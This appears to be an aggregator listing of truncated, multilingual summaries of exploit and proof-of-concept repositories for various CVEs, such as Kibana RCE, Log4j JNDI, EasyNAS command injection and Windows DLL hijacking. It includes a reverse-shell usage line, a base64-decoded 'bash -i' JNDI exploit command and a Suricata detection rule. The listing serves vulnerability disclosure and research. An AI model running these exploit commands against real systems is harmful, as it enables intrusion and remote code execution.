asf__karaf_CVE-2022-22932_4-3-5

Apache Karaf Apache Karaf 是一个模块化运行时，支持多种框架和编程模型（REST/API、Web、Spring Boot 等）。它提供可直接利用的即用功能，无需任何额外工作，并以可变或不可变应用程序的形式打包。 概述 热部署 ：Karaf 支持应用程序的热部署（在 deploy 目录中）。 动态配置 ：Karaf 使用集中位置（etc 目录）进行配置（不同格式，如 properties、json），并可接入现有配置后端。 日志系统 ：使用由 Log4J 支持的集中式日志后端，Karaf 支持多种不同的 API（JDK...

apache__jspwiki_CVE-2019-10089_2-11-0-M4

Apache JSPWiki 2.11 - 문서 root@kitploit: Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache...

CVE-2019-7609

CVE-2019-7609 Python 13과 함께 동작하는 새로운 CVE-2019-7609 python3 스크립트로 올바른 방법으로 취약점 CVE-2019-7609Kibana RCE를 익스플로잇합니다. 참조: https://github.com/LandGrey/CVE-2019-7609 스냅샷 사용법 root@kitploit: usage: python3 CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments:...

CVE-2025-51411

🛡️ CVE 開示: CVE-2025-51411 — Institute-of-Current-Students における反射型 XSS 開示日: 2025年7月25日 CVE ID: CVE-2025-51411 深刻度: MEDIUM CVSS 6.1 🧩 概要 Institute-of-Current-Students v1.0 プロジェクトには、具体的には postquerypublic エンドポイントに、反射型クロスサイトスクリプティング XSS の脆弱性が存在します。email パラメータ内のサニタイズされていない入力がレスポンス HTML...

suricata-rule-CVE-2025-53770

suricata-rule-CVE-2025-53770 CVE-2025-53770 탐지 규칙 root@kitploit: alert http $EXTERNALNET any - $HOMENET any msg: "ET EXPLOIT SharePoint RCE ToolShell CVE-2025-53770"; http.method; content: "POST"; flow: established, toserver; http.uri;...

cve-2018-11714_POC

cve-2018-11714POC TP-Link TL-WR840N において問題が発見されました。この問題は、/cgi/ フォルダまたは /cgi ファイルにおける不適切なセッション処理によって引き起こされます。攻撃者がヘッダー "Referer: http://192.168.0.1/mainFrame.htm" を送信すると、あらゆる操作に対して認証が不要になります。 記事 pt-br: https://nous.sidneypepo.com/router2025.html...

Job-Manager-Disclosure

CV 파일명 공개 스캐너 – CVE-2015-6668 이 스크립트는 WordPress용 WP Job Manager 플러그인버전 ≤ 0.7.25과 관련된 취약점 CVE-2015-6668을 통해 공개적으로 노출된 CV 파일예: .jpg, .png, .jpeg을 자동으로 검색합니다. 🧠 설명 이 취약점은 사용자가 업로드한 파일예: 이력서의 정확한 이름을 웹 서버의 예측 가능한 업로드 경로에 직접 접근하여 알아낼 수 있게 합니다. 이 스크립트는: 이름, 연도, 월 및 확장자를 기반으로 경로를 구성합니다. 가능한 모든 URL에 HTTP...

CVE-2021-42671

CVE-2021-42671 CVE-2021-42671 - 기술자 온라인 포털 시스템의 손상된 접근 제어 취약점. 기술 설명: 손상된 접근 제어 취약점이 Engineers Online Portal에 존재합니다. 공격자는 이 취약점을 이용하여 접근 제어를 우회하고, 인증이나 권한 부여 없이 웹 서버에 업로드된 모든 파일에 접근할 수 있습니다. 취약한 도메인 - http://localhost/niamunozmonitoringsystem/admin/uploads/ 개념 증명 Poc -...

CdpSvcLPE

CdpSvcLPE CdpSvc サービスを介した Windows ローカル権限昇格 書き込み可能なSYSTEMパスでのDLLハイジャック 概要: Connected Devices Platform Service CDPSvc は NT AUTHORITY\LOCAL SERVICE として実行されるサービスで、起動時に絶対パスを指定せず LoadLibrary を呼び出して、存在しない cdpsgshims.dll DLL を読み込もうとします。そのため、DLL 検索順序の流れの中で DLL をハイジャックでき、C:\python27 のような書き込み可能な SYSTEM パスの場...

CVE-2023-0830

CVE-2023-0830: EasyNAS 1.1.0 認証済みOSコマンドインジェクションエクスプロイト このPythonスクリプトは、統合リスナーを含む拡張機能を備えたEasyNASバージョン1.1.0向けの強力なエクスプロイトです。悪用される脆弱性はコマンドインジェクションの欠陥であり、認証が必要です。...

richfaces-vulnerability-cve-2018-12533-rf-14310

RichFaces 3.3.4의 원격 코드 실행 취약점 시연 및 완화/차단 방법 공격 예제 리포지토리 클론 페이로드 디코딩 Java 클래스 역직렬화 취약점 테스트용 페이로드 생성 완화 방법? 이 엔드포인트가 정말 필요한 경우 이 엔드포인트가 필요하지 않은 경우 실행 흐름 이해 이 기능을 사용하는 곳? 팁 관련 링크 CVE-2018-12533 세부 정보. 다른 버전의 RichFaces도 취약합니다. 자세한 내용은 여기를 참조하세요. 공격 예제 root@kitploit: export...

CVE-2021-44228-Log4j-JNDI

アクセス プロジェクト起動後、http://127.0.0.1:9090/vul にアクセスします。 脆弱性の再現 JDK バージョン：java8u92 （高すぎるバージョンの使用は避けてください。私と同じバージョンにすることをお勧めします。高バージョンではJNDIインジェクションに一定の制限があります） root@kitploit: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c echo,b3BlbiAtYSBDYWxjdWxhdG9y|base64,-d|bash,-i" -A 127.0.0.1...

CVE-2025-67445

Información general Una vulnerabilidad en la interfaz de administración web del TOTOLINK X5000R V9.1.0cu.2415 permite que un atacante remoto no autenticado en la LAN provoque la caída del servicio web mediante un fallo de segmentación. Al enviar una solicitud HTTP POST de gran tamaño al endpoint...

TIC4301_Project

TIC4301Project TIC4301 프로젝트 - CVE-2021-40444 다음 vagrant 박스를 다운로드하십시오: Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing 다음 명령어를 사용하여 vagrant를 통해 박스를 가져오십시오: 1. vagrant...

CVE-2023-6538

CVE-2023-6538 CVE-2023-6538는 Hitachi NAS HNAS의 System Management Unit SMU Configuration Backup & Restore 기능에서 발견된 취약한 직접 객체 참조IDOR 취약점입니다. 이 취약점은 SMU 버전 14.8.7825.01 이전에 영향을 미칩니다. 악용 이 익스플로잇은 공격자가 Read-Only 또는 Global Administrator가 아닌 사용자 계정의 자격 증명을 통제해야 합니다. 즉: Storage Administrator Server...

CVE-2025-56772

説明 ecodotempo.com.br ウェブサイトの分析中に、格納型クロスサイトスクリプティング（Stored XSS）の脆弱性が発見されました。この脆弱性により、攻撃者は、適切なサニタイズなしに後で他のユーザーにレンダリングされるフィールド（具体的には、認証されていない（ログアウトした）エリアのメインページ）に、悪意のあるスクリプトを注入できます。 影響を受けるエンドポイント ecodotempo.com.br/colecoes/cadastrarrealizar.php 影響を受けるパラメータ name="nome" および name="descricao" ペイロード例: Po...

CVE-2024-0195

徽章 许可证 MIT 安装 1. 安装 Python3 和 pip 操作指南 如果你连这个都搞不定，那你其实不应该用这个工具 通过 pip 安装 root@kitploit: pip install CVE-2024-0195 运行以下命令进行检查 CVE-2024-0195 -h 配置 2. 我们集成了 Telegram API，以便在检测到漏洞时即时接收通知。 Telegram 通知 root@kitploit: CVE-2024-0195 --chatid 打开你的 Telegram，搜索 @CappricioSecuritiesToolsbot 并点击开始 使用方法 3...

Exploit for CVE-2026-89274

CVE-2026-89274 PoC Poloss : @WPEF0 !statushttps://img.shi...

nextjs-middleware-auth-bypass

Next.js アプリの Docker デプロイ このプロジェクトは、Docker を使用して Next.js アプリケーションを 起動するために作成されています。 ビルド Docker イメージの作成: root@kitploit: docker build -t next-app . 実行 コンテナの起動: root@kitploit: docker run -d --name next-app --restart always -p 3000:3000 next-app アクセス ブラウザからアクセス: root@kitploit: http://:3000 例:...

CVE-2020-35847_CVE-2020-35848

Cockpit CMS NoSQLインジェクション CVE-2020-35847, CVE-2020-35848 バージョン0.11.2より前のCockpit CMSは、/auth/resetpassword と /auth/newpassword におけるNoSQLインジェクションの脆弱性の影響を受けます。これにより、パスワードリセットトークンの抽出が可能になり、ユーザー詳細の列挙やパスワードリセットが可能になります。 詳細はこちら - https://swarm.ptsecurity.com/rce-cockpit-cms/...